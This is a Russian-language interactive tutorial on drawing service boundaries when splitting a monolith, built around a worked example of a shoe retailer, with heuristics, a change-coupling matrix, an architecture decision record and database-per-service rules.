глава 2 · попытка №1 режем по слоям: торт на коржи

Борис много лет писал по трёхслойной схеме: интерфейс, бизнес-логика, данные. «Давай так и разрежем, — предложил он. — У нас и люди так устроены: фронтендеры, бэкендеры, администратор базы. Каждой группе — свой сервис». Схема на доске получилась аккуратной: три прямоугольника один под другим.

Нарезка по техническим слоям — части делят по роли в технике: «сервис интерфейса», «сервис бизнес-логики», «сервис данных». А не по делу бизнеса.
торт режут не на куски, а на слои: отдельно коржи, отдельно крем, отдельно глазурь. Каждый слой по отдельности никому не нужен. Чтобы подать гостю кусок, надо собрать все три.

Через месяц пришла первая задача от маркетинга: «вторая пара за полцены». Правило скидки легло в таблицу сервиса данных. Расчёт — в сервис логики. Строчка «скидка 50 %» — в сервис интерфейса. Три команды, три релиза, и строго по порядку: сначала данные, потом логика, потом экран. Ошибка в любом звене — откат всех трёх.

Пощёлкайте сами. Выберите нарезку и задачу. Подсвечено, какие части придётся менять. Пока смотрите на «по слоям». Две другие нарезки разберём в главах 3 и 4 — к этой схеме ещё вернёмся.

нарезка
задача
Как читать схему. Прямоугольник — отдельно выкатываемая часть. Красный — её придётся менять ради этой задачи. Зелёный — задача уместилась в одну часть: идеальный случай. Серые — не затронуты.

Почему так вышло

Любая фича — поперёк всех слоёв

Бизнес меняет не «слой», а дело: скидки, доставку, возвраты. А у каждого дела есть и экран, и правила, и данные. Значит, каждая задача режет все три сервиса.

Резали по людям, а не по делу

Команды были собраны по технологиям — и система повторила их устройство. Это закон Конвея в действии (глава 5, шаг 7). Только повторила она худшее: никто не владеет делом целиком.

Сеть внутри каждой операции

Каждый запрос покупателя идёт интерфейс → логика → данные. Раньше это были вызовы функций, теперь — три сетевых прыжка. Медленнее и ненадёжнее, а независимости ноль.

Признак нарезки по слоям. В названии сервиса нет ни одного слова из языка бизнеса: «API-сервис», «сервис логики», «сервис данных», «сервис интеграций». Человек из бизнеса не может сказать, за что отвечает такой сервис.
Слои — не зло. Это хороший способ устроить код внутри одной части: у модуля «Склад» могут быть свои контроллеры, логика и хранилище. Плохо резать по слоям систему на части. Подробнее о слоях внутри — в разделе .

глава 3 · попытка №2 режем по сущностям: сервис на каждое существительное

«Ладно, слои — это техника, — согласился Борис. — Надо резать по предметной области. У нас есть Товар, Клиент, Корзина, Заказ, Платёж, Остаток, Резерв, Доставка, Возврат. Девять существительных — девять сервисов. Это же и есть DDD!» Олег открыл схему базы, обвёл кружками группы таблиц и подписал имена. Звучало убедительно. Так делают очень многие.

Нарезка по сущностям (entity services) — сервис на каждое существительное из модели данных: «сервис Товара», «сервис Клиента», «сервис Заказа». Внутри каждого — его таблица и операции над ней.
Анемичный сервис, он же CRUD-сервис — сервис, который умеет только «создать, прочитать, изменить, удалить» (create, read, update, delete). Правил в нём нет. Правила живут у того, кто его вызывает.
склад, разделённый по видам предметов: комната для коробок, комната для скотча, комната для бумаги. Чтобы упаковать одну посылку, упаковщик бегает по трём комнатам. А правило «как упаковать хрупкое» не живёт ни в одной из них — его помнит только упаковщик.

Как теперь оформляется заказ

Анна нажимает «Оформить». Пройдите по стрелкам: кто кого зовёт и что может сломаться. Доставку и письмо мы для краткости опустили — с ними вызовов ещё больше.

Три беды, которые всплыли за первый месяц

Болтовня

Девять сетевых вызовов на одно оформление. Если каждый сервис доступен 99,9 % времени, вся цепочка — около 0,9999 ≈ 99,1 %. Это примерно 79 часов в год, когда оформить заказ нельзя. У одного сервиса было бы меньше 9 часов.

Разорванные транзакции

Остаток и Резерв — в разных сервисах. Между «есть ли пара» и «зарезервировать» есть окно, в которое проскочит второй покупатель. Последнюю пару 42-го размера продали дважды. Пришлось писать сагу там, где раньше хватало одной транзакции.

Бог-сервис «Заказ»

Логике оформления негде жить: сущности умеют только хранить. Вся она стянулась в «Заказ». Он знает про цены, остатки, баллы и платежи. Любое изменение любого процесса — правка «Заказа».

А что с задачами? Вернитесь к схеме главы 2 и выберите «по сущностям». «Скидка на вторую пару» теперь трогает Товар (там лежит цена), Корзину (пересчёт) и Заказ (фиксация суммы). Частичный возврат денег — четыре сервиса и сага.

Почему сущность — не граница

Существительное «Товар» живёт сразу в пяти процессах: в витрине, в цене, на складе, в чеке, в доставке. И в каждом значит своё. На витрине товар — это фото и описание. На складе — пара в ячейке с габаритами. В чеке — позиция со ставкой НДС. Собрав их в один «сервис Товара», Борис склеил пять разных моделей в одну и разрезал каждый процесс на куски.

Проще говоря. Сервис должен владеть делом — процессом и его правилами. А не таблицей. Граница проходит там, где меняются смысл слов и правила, а не там, где кончается таблица.
Признак нарезки по сущностям. У сервиса только ручки «создать, прочитать, изменить, удалить» и ни одной бизнес-операции вроде «зарезервировать», «оформить», «вернуть». И есть один сервис, который зовёт всех остальных.

глава 4 · попытка №3 режем по бизнес-возможностям и языку

Олег закрыл схему базы и пошёл к людям: на склад, в колл-центр, к маркетологам, к финансистам, к специалистам по подбору размера. Он спрашивал не «какие у вас таблицы», а «что вы делаете, какими словами это называете и что для вас важно». Борис сидел рядом и выписывал глаголы.

Бизнес-возможность (business capability) — то, что компания умеет делать, неважно как, кем и на какой программе: «принимать оплату», «доставлять», «подбирать размер». Отвечает на вопрос «что», а не «как» и не «кто».
больница делится на отделения по тому, что они лечат: кардиология, хирургия, неврология. Не по этажам и не по видам оборудования. Врачи меняются, приборы устаревают, а «лечить сердце» больница будет всегда.
Ограниченный контекст (bounded context) — часть системы, внутри которой каждое слово значит ровно одно. У контекста своя модель, свои данные и одна команда-владелец. Подробно — в разделе .
Карта возможностей (capability map) — список того, что компания умеет, разложенный по уровням: «Продать» → «оформить заказ», «принять оплату», «выдать чек».
оглавление поваренной книги. Сначала разделы «супы», «выпечка», «десерты», в них — рецепты. По оглавлению видно, что кухня умеет, ещё до того, как вы открыли хоть один рецепт.

Семь шагов, которые Олег и Борис прошли за две недели

Полный проход по живому примеру. На каждом шаге: что делаем · что получилось на «Ботинке» · как понять, что шаг сделан верно · частая ошибка. В главе 5 этот же путь разобран как метод, который вы повторите на своей системе.

Что получилось: двенадцать контекстов

Итог третьей попытки. Сплошная цветная рамка — основной поддомен, пунктир — общий (его выгоднее купить). Зелёное свечение — части, которые решили сразу сделать отдельными сервисами. Остальные девять живут модулями одного модульного монолита. Почему именно так — в главах 10 и 12.

Как теперь оформляется заказ

Что изменилось. Вместо девяти синхронных вызовов — три. Резерв и остаток снова в одной транзакции Склада. Баллы, письма и сборка узнают о заказе из события и работают сами — без того, чтобы Продажи их ждали. И у каждой задачи появился один хозяин.

глава 5 · метод алгоритм нарезки: десять шагов

Третья попытка удалась не потому, что Олегу повезло. Он задавал вопросы в правильном порядке. Ниже тот же путь, разобранный как метод. Шаги 1–4 ищут кандидатов в границы. Шаги 5–8 проверяют их. Шаги 9–10 превращают границы в решение.

Это не конвейер. Возвращаться назад — нормально и даже обязательно. Проверка связности на шаге 6 часто отправляет на шаг 4: перегруппировать. Проверка команд на шаге 7 — на шаг 3: может, это один язык, а не два.

Весь алгоритм на одной странице

Шпаргалка для воркшопа. Справа — вопрос, на который шаг должен ответить «да», прежде чем идти дальше.

#ШагГотово, если…
1Понять бизнес и поддоменыДля каждого поддомена названы тип (основной, поддерживающий, общий) и человек из бизнеса, который за него отвечает
2Собрать события, найти поворотныеНа ленте событий отмечены 3–6 поворотных событий, и бизнес с ними согласен
3Найти языковые границыДля каждого спорного слова записано, что оно значит в каждой группе
4Сгруппировать по возможностямУ каждой группы есть название-глагол и назначение в одну фразу без «и»
5Проверить данные и инвариантыНи одно правило «всегда должно быть верно» не требует транзакции через границу
6Проверить связностьНа главный сценарий ≤ 3 синхронных вызовов между группами; большинство задач истории трогают одну группу
7Проверить командыУ каждой группы ровно одна команда-владелец, и ей хватает сил её вести
8Проверить нефункциональные силыДля каждой группы записаны нагрузка, доступность, класс данных, регуляторика и темп изменений
9Выбрать отношения на картеУ каждой стрелки между группами есть тип отношения и способ связи: событие или вызов
10Модули или сервисыДля каждого отдельного сервиса записана названная причина в решении (ADR)

глава 6 · главный интерактив карта «Ботинка» с линзами: восемь эвристик на одной схеме

Шаги 3–8 алгоритма — это, по сути, взгляд на систему через разные «линзы». Каждая линза задаёт один вопрос и группирует функции по-своему. Олег и Борис прошли все восемь — и увидели, что линзы то сходятся, то спорят.

Эвристика границы — правило-подсказка: «там, где меняется X, вероятно, проходит граница». Это не закон, а повод присмотреться. У каждой эвристики есть случаи, когда она врёт.
грибник определяет гриб не по одному признаку, а по нескольким: шляпка, ножка, запах, где растёт. Один признак обманет. Когда сходятся пять — можно класть в корзину.

Перед вами 20 функций и сущностей «Ботинка». Включайте линзы по очереди: функции перелетят в группы, а пунктирные рамки покажут кандидатные границы по этой линзе. Нажмите на функцию — увидите её группу и почему она там. Пройдите все восемь линз, потом нажмите «Наложить все линзы».

Как читать схему. Пунктирная рамка — кандидатная граница: всё внутри по этой линзе живёт вместе. В режиме «все линзы» рамки — итоговые контексты, а цвет обводки функции показывает, спорят ли о ней линзы: зелёная — согласны, жёлтая — спорят немного, красная — горячая точка. Нажатие на функцию в этом режиме закрашивает остальные: чем темнее, тем больше линз кладут их вместе.
Что вы увидите. Язык и данные дают самые мелкие острова. Команды, нагрузка и безопасность — крупные и «чужие» группы: подбор размера рядом с поддержкой. Где большинство линз проводят одну и ту же черту — граница надёжна. Где линзы делятся пополам — горячая точка: её не решают в одиночку, её выносят на обсуждение с бизнесом.

глава 7 · язык одно слово — разные смыслы: где проходит языковая граница

Самая сильная линза — язык. Олег ходил по отделам и задавал одни и те же вопросы про одни и те же слова. На слове «заказ» он насчитал шесть разных смыслов.

Языковая граница — место, где одно и то же слово начинает значить другое: у него другие поля, другие правила и другие действия. Почти всегда это граница контекста.
«Лук» на кухне и «лук» в тире. Повар и стрелок не спорят, чей лук правильный, — у них просто разные словари. Путаница начинается, только если завести одну общую «карточку лука» для кухни и тира.

Выберите слово. Карточки — отделы: что они имеют в виду и как говорят. Ниже — те же 20 функций, окрашенные по смыслу слова. Серые с пунктиром — слово там не используется вовсе. Нажмите на отдел — подсветятся функции, которые говорят на его диалекте.

функции «Ботинка», окрашенные по смыслу слова
Типичная ошибка — спорить о «правильном» определении. Совещание «давайте договоримся, что такое заказ» заканчивается одним из двух: либо определение на страницу, которое никого не устраивает, либо победа самого громкого отдела. Правильный итог — признать, что смыслов несколько, и дать каждому свой контекст. Связать их можно номером заказа.

Как спрашивать на интервью

«Что для вас заказ? Какие у него поля? Что с ним можно сделать? Когда он для вас начинается и когда заканчивается? Кто ещё может его поменять?» Глаголы важнее существительных: они показывают поведение.

Когда это не граница

Если отличаются только слова, а поля и правила одни — это синонимы. Маркетинг говорит «чек», продажи — «заказ», но имеют в виду одно и то же. Здесь нужен общий словарь, а не новая граница.

глава 8 · эвристики двенадцать признаков шва: аналогия, пример и когда врёт

Хорошая граница обычно совпадает сразу по нескольким признакам — это знак, что вы нашли настоящий шов, а не провели линию наугад. Ниже двенадцать признаков. У каждого: житейская аналогия, пример на «Ботинке» и случай, когда признак обманывает. Нажмите, чтобы раскрыть.

Проще говоря. Хороший шов виден сразу по нескольким признакам: по разные стороны и слова разные, и дела разные, и меняются в разное время, и нагрузка разная. Если совпал только один признак — скорее всего, вы провели линию наугад.
Признаки неравноправны. Язык, бизнес-возможность и поворотное событие говорят, где искать шов. Инварианты говорят, где резать нельзя. Частота изменений и команды проверяют. Нагрузка, безопасность и внешняя система — силы, которые иногда заставляют разделить то, что по смыслу едино.

Тренажёр: какой признак здесь сработал?

Решено 0 из 0.

глава 9 · история задач матрица совместных изменений: швы видны по прошлому

Линзы — это взгляд людей. Борису хотелось фактов. Он выгрузил из трекера 140 задач за полгода и для каждой выписал, какие из 20 функций она задела. Потом посчитал для каждой пары функций: сколько задач меняли их вместе.

Совместное изменение (change coupling) — когда две части раз за разом меняются в одной задаче или одном коммите. Адам Торнхилл в книге «Your Code as a Crime Scene» показывает, как считать такую связность прямо по истории репозитория.
Матрица совместных изменений — таблица «функция × функция», где в клетке число задач, менявших обе. По-английски похожий инструмент называют DSM (design structure matrix).
журнал дежурств соседей по подъезду. Если каждый раз, когда течёт кран у Ивановых, приходится звать и Петровых, — у них общая труба, даже если на схеме дома этого не видно.

Сначала матрица стоит «как в коде» — в порядке, в котором функции лежат в папках монолита. Пятна разбросаны, ничего не понятно. Переключите порядок на «по кластерам». Потом двигайте порог: связи слабее порога игнорируются, а оставшиеся склеивают функции в кластеры — кандидатов в контексты. Нажмите на клетку — увидите, какие задачи её дали.

2
кластеры при этом пороге — кандидаты в контексты
Как читать матрицу. Строка и столбец — функции. Число в клетке — сколько задач за полгода меняли обе. Чем темнее, тем чаще. На диагонали — сколько задач трогали функцию вообще. Зелёная рамка — пара внутри одного кластера. Красная — сильная связь между разными кластерами: граница под вопросом.
Что вы увидите. На пороге 1–3 почти всё слипается в один ком: сквозные задачи связывают всех. На пороге 4 проступают пять квадратов: Карточки с Поиском; Корзина, Заказ, Оплата и Резерв; Подбор с Возвратом пары; Остатки, Сборка, Доставка и Трекинг; Профиль с Уведомлениями. На 6 и выше остаются только самые тесные пары. Правильный порог ищут так: двигают и смотрят, где кластеры перестают меняться.
Обратите внимание на Резерв. История приклеила его к Заказу, а не к Остаткам. Это след прошлого: код резерва жил у команды «Заказ», и задачи про резерв меняли заказ. Язык и инварианты говорят обратное (глава 6). Матрица показывает, как система менялась, а не как она должна быть устроена.

Как получить такую матрицу на своей системе

Два источника. Трекер задач: если у задач есть поле «компонент» или ссылки на изменённые модули — выгрузите и посчитайте пары в таблице. Репозиторий: каждый коммит — это список изменённых файлов. Команда ниже печатает для каждого коммита за полгода, какие папки он трогал. Остаётся посчитать пары.

# для каждого коммита: строка "@хеш", потом изменённые папки модулей
git log --since="6 months ago" --name-only --pretty=format:"@%h" \
  | grep -E "^(@|src/)" \
  | sed -E 's#^src/([^/]+)/.*#\1#' \
  | uniq
Когда матрица врёт. Если правило уже размазано по двум модулям из-за старой ошибки, они будут меняться вместе — и матрица скажет «держите их вместе», хотя правильнее перенести правило. Сквозные задачи по природе («маркетплейс», «удалить данные покупателя») тоже дают пятна, которые не лечатся никакой границей. Поэтому матрица — источник вопросов, а не ответов: у каждого сильного пятна между кластерами спросите «почему?».

глава 10 · живая модель разрежьте «Ботинок» сами: связность в цифрах

Линзы и матрица дают кандидатов. Теперь их надо проверить на том, как система работает: кто кого зовёт, где ломается транзакция, сколько задач будут задевать несколько частей. Перед вами рабочий стол. Назначьте каждой из 20 функций контекст — схема и цифры пересчитываются сразу.

Для разгона загружена нарезка по сущностям из второй попытки. Посмотрите, как она выглядит в цифрах. Потом переставляйте сами или жмите «Применить» у подсказок — модель предложит, что переставить с наибольшей пользой.

Сага (saga) — длинная операция из шагов в разных частях. Общей транзакции нет: если шаг не удался, уже сделанные шаги отменяют обратными действиями. Сага нужна там, где граница разрезала то, что раньше было одной транзакцией. Подробно — в разделе .
свадьба в трёх местах: ЗАГС, ресторан, фотограф. Одного «договора на всё» нет. Отменилась регистрация — звоните в ресторан и фотографу и отменяете по отдельности. А если ресторан уже не возвращает задаток — придумывайте, что делать дальше.
синхронные вызовы болтливая связь транзакция через границу события совместные изменения (вид «Совместные изменения»)
Переставляйте функции и следите за схемой. Когда всё распределено — нажмите «Проверить нарезку».
Как читать схему. Прямоугольник — контекст, внутри — его функции. Жёлтая обводка — в контексте смешались разные языки. Линия — связь через границу: толщина и число на ней — сила связи. Красный пунктир — транзакция, которую граница разрезала: там понадобится сага. Переключатель над схемой оставляет один вид связей.
Что заложено в модель. 27 связей во время работы (например, «Корзина зовёт Цены при каждом изменении количества», вес 2 из 3), 4 инварианта, которые обязаны жить в одной транзакции, и 140 задач за полгода с перечнем задетых функций — те же, что в матрице главы 9. «Языки» — 12 контекстов итоговой нарезки; в одной части разумно держать только родственные (например, Склад и Доставку).
Что вы увидите. «Всё в одном» даёт ноль вызовов и ноль саг — и при этом проваливает проверку: двенадцать языков в одном контексте. Нарезка по сущностям — три разорванные транзакции и болтовня в горячем пути. Хорошая нарезка не обнуляет все числа: несколько вызовов через границу остаются. Цель — чтобы они были редкими, асинхронными и не рвали инварианты.

глава 11 · проверка будущим сценарии изменений: что будет, когда бизнес принесёт новую задачу

Связность во время работы — половина правды. Вторая половина — как нарезка переживёт изменения. Олег взял задачи из планов на следующий год и прогнал каждую по нарезке: сколько контекстов придётся менять, сколько команд договариваться, сколько релизов согласовывать.

Сценарий изменения — короткое описание будущей доработки: «подключить оплату долями», «доставлять в Казахстан». По нему проверяют нарезку так же, как по сценариям нагрузки проверяют производительность.
прежде чем купить шкаф, мысленно в него всё раскладывают: зимние куртки, обувь, пылесос. Если пылесос никуда не влезает — шкаф не тот, как бы красиво он ни смотрелся в каталоге.

Выберите нарезку и сценарий. «Ваша нарезка» — та, что сейчас стоит в главе 10. Подсвечено, какие контексты и функции придётся менять.

какую нарезку проверяем
сценарий

Все сценарии сразу

Сколько контекстов меняет каждый сценарий при каждой нарезке. Меньше — лучше, но смотрите и на комментарии: иногда задача сквозная по природе, и никакая нарезка не сделает её «одноместной».

Заметьте. На сценариях изменений нарезка по сущностям проигрывает не всегда. Её главная беда в работе: болтовня и разорванные транзакции (глава 10). А «всё в одном» всегда даёт единицу — но в этот один контекст коммитят все пять команд, и релиз у них общий. Хорошая нарезка обязана выдержать оба теста.
Как этим пользоваться в жизни. Попросите бизнес назвать 5–7 изменений, которые вероятны в ближайший год. Прогоните их по своей нарезке на доске: стикер на каждый задетый контекст. Если самое вероятное изменение задевает четыре контекста — граница проведена поперёк потока изменений.

глава 12 · решение модуль или сервис — и что выделять первым

Двенадцать контекстов нашли. Значит ли это двенадцать микросервисов? Нет. Контекст — логическая граница. Сервис — физическая: отдельный процесс, отдельная база, отдельный релиз, отдельное дежурство. Не каждая логическая граница стоит физической.

Модуль модульного монолита — контекст, который живёт внутри одного приложения: свой пакет, свой фасад, свои таблицы, запрет лазить в чужие. Вызов между модулями — вызов функции. Подробно — в разделе .
Сервис — контекст, вынесенный в отдельно развёртываемое приложение со своей базой. Вызов — по сети. Подробно — в разделе .
семья в большой квартире: у каждого своя комната с дверью — это модули. Переезд взрослого сына в отдельную квартиру — это сервис. Переезжают, когда есть причина: своя семья, другой город, другой график. А не потому, что «в отдельной квартире современнее».

Названные причины выносить в сервис

У части своя команда и свой темп релизов, и общий релиз ей мешает.
Нагрузка отличается в десятки раз, и масштабировать всё вместе дорого.
Безопасность или закон требуют отдельного периметра (PCI DSS).
Нужен другой стек: Python и видеокарты для модели подбора.
Разные требования к доступности: часть можно отключить без вреда для заказов.

Не причины

«Так современнее». «Так у Netflix». «Чтобы было удобно масштабировать когда-нибудь». «Мы же нашли контекст — значит, это сервис». «Каждой команде — по три сервиса». Всё это — поводы получить распределённый монолит.

Тренажёр: риск × польза — что выделять первым

Олег разложил кандидатов на две оси. Польза: насколько выделение решит настоящую боль — релизы, нагрузку, безопасность. Риск: насколько часть связана с остальными — вызовы в горячем пути, общие транзакции, чужие таблицы. Положите каждого кандидата в квадрант. После ответа он появится на поле.

Решено 0 из 0.

← риск нижериск выше →
Правило Сэма Ньюмена, которым воспользовался Олег. В книге «Monolith to Microservices» он советует начинать с части, которую легко отделить и выделение которой приносит заметную пользу. Первое выделение — ещё и учёба: команда отрабатывает пайплайн, мониторинг и контракты на безопасном примере, а не на заказах.

Решение «Ботинка» — как его записал Олег

ADR-014. Нарезка «Ботинка» на контексты и сервисы
Статус: принято. Дата: 12.03.

Контекст
  Один монолит, 5 команд, общий релиз по средам. Сбои из-за
  чужих правок, модель подбора не встроить в Java-приложение.

Решение
  1. 12 контекстов (таблица контекстов — приложение А).
  2. 9 из них — модули модульного монолита: свой пакет,
     свои таблицы, фасад, проверка границ тестами.
  3. Отдельными сервисами выносим три:
     Подбор размера — своя команда, Python и видеокарты,
                      эксперименты каждый день;
     Платежи        — сужаем периметр PCI DSS;
     Поиск          — нагрузка в 250 раз выше остального
                      каталога; работает над копией карточек.
  4. Уведомления и Поддержку покупаем готовыми, подключаем
     через слой предотвращения порчи.
  5. Порядок: Подбор → Поиск → Платежи. По одному в квартал.

Последствия
  + независимые релизы трёх команд; периметр аудита — 1 сервис
  − 3 пайплайна и дежурства; поиск отстаёт от каталога
    до 5 секунд (записано требованием)
Пересмотр: через два квартала, по целям Ц-1…Ц-4.
Где читать про ADR. Формат записи архитектурных решений — в разделе .

глава 13 · практика как выделять сервис: девять шагов без «большого взрыва»

Подбор размера выбрали первым. Теперь его надо вынести, не остановив магазин. Последовательность важна: почти все провальные выделения нарушают шаги 2, 5 или 8. Нажмите на шаг, чтобы раскрыть.

«Душитель» (strangler fig) — способ замены старой системы по частям: новая часть вырастает рядом, на неё постепенно переводят трафик, а старый код удаляют. Название — от тропического фикуса, который обвивает дерево и со временем занимает его место. Подробно — в разделе .
ремонт кухни, когда в квартире живут. Не сносят всё в понедельник, чтобы три месяца есть в кафе. Сначала ставят новую плиту рядом со старой, неделю готовят на обеих, потом старую выносят.
Главное правило: граница проходит по данным, а не по коду. Код выносится за неделю. Данные — за квартал. Пока чужие места пишут в ваши таблицы, отдельного сервиса нет: есть новый процесс над общей базой. Подробнее о владении данными — в следующем разделе .

глава 14 · антипаттерны восемь способов разрезать плохо — вживую

Первые две попытки Олега и Бориса — классика. Но способов ошибиться больше. Выберите антипаттерн и нажмите «▶ Проиграть задачу»: увидите, как одна обычная доработка расползается по системе.

Антипаттерн — решение, которое выглядит разумным и часто встречается, но регулярно приводит к проблемам.

Все антипаттерны с признаками

Тренажёр: узнайте антипаттерн по симптому

Решено 0 из 0.

глава 15 · аналитику как оформить результат нарезки

Нарезка, которая живёт только в голове Бориса и на фото доски, через полгода превращается в спор «а мы разве так договаривались?». Олег оформил результат в шесть артефактов. Их и сдают после нарезки.

1. Таблица контекстов

Назначение, язык, владелец, данные, события, API — по строке на контекст. Главный документ.

2. Карта контекстов

Кто кому поставляет, тип отношения, событие или вызов. См. раздел «Карта контекстов».

3. Словарь по контекстам

Спорные слова и что они значат в каждом контексте.

4. Список инвариантов

Правила «всегда верно» и контекст-владелец каждого. Разорванные границей — с описанием саги.

5. Решения (ADR)

Почему выделили именно эти сервисы и в каком порядке.

6. Открытые вопросы

Горячие точки, которые не решили: «чей резерв?», «где рекомендации?». С владельцем и сроком.

Таблица контекстов «Ботинка»

Так выглядит главный артефакт. Читается слева направо: зачем контекст, на каком языке говорит, чей он, чем владеет, о чём сообщает другим и что умеет по запросу.

КонтекстНазначениеЯзык (ключевые слова)ВладелецДанныеПубликует событияAPI: команды и запросы
Подбор размера
основной · сервис
Посоветовать размер, в котором пара подойдётстопа, колодка, полнота, уверенность«Подбор»фото и замеры стоп, версии моделиРазмерПодобранПодобратьРазмер, ПолучитьРекомендацию
Возвраты
основной · модуль
Принять возврат пары и понять причинузаявка, причина, приёмка, брак«Логистика»заявки на возврат, причиныВозвратПринят, ВозвратОтклонёнОформитьВозврат, ПринятьПару
Каталог
поддерживающий · модуль + сервис Поиска
Показать и найти товаркарточка, категория, фильтр, рейтинг«Витрина»карточки, отзывы; индекс поиска — копияТоварОпубликован, ТоварСнятНайтиТовары, ПолучитьКарточку, ОпубликоватьОтзыв
Цены
поддерживающий · модуль
Назначить цену и скидкибазовая цена, акция, промокод«Витрина»правила цен и акцийЦенаИзменена, АкцияЗапущенаРассчитатьКорзину, ПолучитьЦену
Продажи
поддерживающий · модуль
Превратить выбор в заказкорзина, позиция, сумма, оформить«Заказ»корзины, заказыЗаказОформлен, ЗаказОтменёнДобавитьВКорзину, ОформитьЗаказ, ОтменитьЗаказ
Склад
поддерживающий · модуль
Хранить, резервировать, собиратьартикул, ячейка, резерв, сборка«Логистика»остатки, резервы, сборочные заданияОстатокИзменился, ЗаказСобранЗарезервировать, СнятьРезерв, ПолучитьНаличие
Лояльность
поддерживающий · модуль
Удержать покупателябаллы, уровень, рекомендация«CRM»счета баллов, модели рекомендацийБаллыНачисленыСписатьБаллы, ПолучитьРекомендации
Покупатели
поддерживающий · модуль
Знать покупателя и его согласияпрофиль, контакт, согласие«CRM»профили, адреса, согласия (ПДн)СогласиеИзменено, ПокупательУдалёнПолучитьКонтакты, ИзменитьСогласие
Платежи
общий · сервис
Принять и вернуть деньгиплатёж, холдирование, чек, возврат средств«Заказ»платежи, чекиОплатаПолучена, ДеньгиВозвращеныСписать, Вернуть
Доставка
общий · модуль
Довезти и показать, где посылкаотправление, трек-номер, перевозчик«Логистика»отправления, статусыПереданПеревозчику, ВручёнРассчитатьДоставку, СоздатьОтправление
Уведомления
общий · покупаем
Доставить сообщение покупателюшаблон, канал, отписка«CRM»журнал отправок—слушает события всех
Поддержка
общий · покупаем
Помочь с проблемойобращение, срок ответа, компенсация«CRM»обращенияКомпенсацияНазначенаСоздатьОбращение

Карточка одного контекста подробно

Для каждого контекста Олег заполнил карточку по образцу открытого шаблона «холст ограниченного контекста» (Bounded Context Canvas) сообщества DDD Crew. Выберите контекст — увидите карточку и то, как она лежит в репозитории документации.

Критерии готовности границы

Границу можно считать готовой к реализации, когда выполнены все десять пунктов. Нажмите, чтобы раскрыть.

Проверьте себя: какой критерий не выполнен? Решено 0 из 0.

Вопросы для воркшопа по нарезке

Олег проводил два воркшопа по три часа: бизнес и разработка в одной комнате. Вот его список вопросов по этапам.

Как это звучит в требованиях

ОГРАНИЧЕНИЯ ГРАНИЦ (раздел постановки «Архитектурные ограничения»)

ОГР-1  Контекст «Склад» — единственный владелец остатков и резервов.
       Другие контексты получают наличие только запросом
       ПолучитьНаличие или из события ОстатокИзменился.
       Прямое чтение таблиц Склада запрещено и проверяется
       архитектурным тестом в сборке.
ОГР-2  Проверка остатка и создание резерва выполняются в одной
       транзакции внутри Склада. Резерв держится 15 минут;
       срок — настройка Склада.
ОГР-3  Каталог показывает признак «в наличии» из своей копии;
       допустимое отставание копии — до 5 секунд.
ОГР-4  Персональные данные покупателя хранит только контекст
       «Покупатели». Остальные хранят номер покупателя; адрес
       получателя — в Доставке на время доставки + 30 дней.
ОГР-5  Оформление заказа: не больше 3 синхронных вызовов между
       контекстами; начисление баллов, письма и сборка —
       по событию ЗаказОформлен.
Почему так, а не «сервисы должны быть слабо связаны». Каждое ограничение проверяемо: тестом, трассировкой или аудитом. «Слабо связаны» проверить нельзя — значит, через полгода это не будет выполняться.

глава 16 · проверь себя границы и нарезка: задачи из жизни

Решено 0 из 0.

Дальше → границы проведены — теперь самое трудное: кому принадлежат данные и как жить без общей базы

Граница проходит по данным. Можно сколько угодно аккуратно разложить код по сервисам — если они лезут в одну базу, это один сервис, просто запущенный несколько раз. Правило «своя база у каждого» неудобное, дорогое и вызывает сопротивление у всех. И без него ничего не работает.

зачем это зачем у каждого сервиса своя база

зачем это правило почему нельзя ходить в чужую базу

Правило «у каждого сервиса своя база, и чужую трогать нельзя» звучит как бюрократия. На деле это единственное, что держит границу.

Коротко. Границу в коде видно: есть фасад, есть проверка при сборке. А прямой запрос в чужую таблицу не видно вообще — он выглядит как обычный запрос. Поэтому именно через базу границы и разваливаются.
И главное следствие. Как только кто-то прочитал вашу таблицу, вы больше не можете менять её схему. Не потому что запрещено, а потому что не знаете, кто сломается. Схема становится публичным контрактом, о котором вы не договаривались.

попробуйте что можно и что нельзя: нажмите на действие

Два сервиса «Ботинка»: Заказы со своей базой и Склад со своей. Вам нужен остаток товара. Нажимайте на способы — увидите, пройдёт это или нет и почему.

чем заменять пять способов получить чужие данные

Запретили — предложите. Вот все способы, которые остаются, от самого простого к самому мощному. Нажмите на способ.

Устроим проверку. Нажмите на событие — и посмотрите, как поведёт себя каждый из пяти способов. Строку можно нажать, чтобы раскрыть подробности.

Как выбирать. Идите сверху вниз и берите первый, который подходит. Каждый следующий мощнее предыдущего — и дороже. Начинать с витрины, потому что «так правильнее», — верный способ построить сложное там, где хватило бы вызова.

принцип база на сервис: что именно запрещено

Запрещено

  • Другому сервису писать в ваши таблицы.
  • Другому сервису читать ваши таблицы напрямую — включая «только SELECT для отчёта».
  • Внешние ключи из чужих таблиц на ваши.
  • Общие представления (view), скрывающие прямое чтение.
  • Общие миграции: ваши изменения схемы не должны требовать чужого релиза.

Разрешено и нормально

  • Одна физическая СУБД на несколько сервисов, если схемы разделены и права нарезаны — переходный этап.
  • Своя копия чужих данных, полученная через события.
  • Реплика для чтения, принадлежащая владельцу и отдаваемая наружу как часть контракта.
  • Отдельная витрина для отчётности, наполняемая событиями.
  • Разные типы хранилищ у разных сервисов — в этом и смысл свободы.
Проще говоря. «Своя база» звучит как техническая мелочь, а означает одну вещь: менять свои таблицы можно, ни у кого не спрашивая. Как только в вашу таблицу пишет кто-то ещё, любое изменение схемы надо согласовывать — и независимости больше нет, как бы ни назывались ваши сервисы.
Прагматичный порядок перехода, если сейчас общая база: сначала права доступа (у каждого сервиса свой пользователь БД, видящий только свои таблицы) — это ловит все нарушения за неделю и не требует миграций. Потом отдельные схемы. Потом отдельные экземпляры. Пропускать первый шаг нельзя: пока нарушения не видны, их количество никто не знает, а оценки сроков строятся на догадках.

способы пять способов получить чужие данные

Нажмите на строку — раскроется, чем платить и когда выбирать.

интерактив выберите способ под ситуацию

Решено 0 из 0.

частый случай справочники: дублировать или спрашивать

«Страны», «валюты», «категории», «статусы» — данные, которые нужны всем и меняются редко. Отдельный сервис-справочник кажется очевидным решением и почти всегда оказывается неверным.

Сервис-справочник для всех

Каждый вызов к нему — звено в цепочке доступности. Справочник падает — падает всё. При этом данные меняются раз в полгода. Классический наносервис с максимальным радиусом поражения.

Копия у каждого через событие

Обычно правильный ответ. Владелец публикует изменения, каждый держит свою копию и читает её локально. Доступность не страдает, задержка нулевая, обновление приходит за секунды.

Вшить в код и не думать

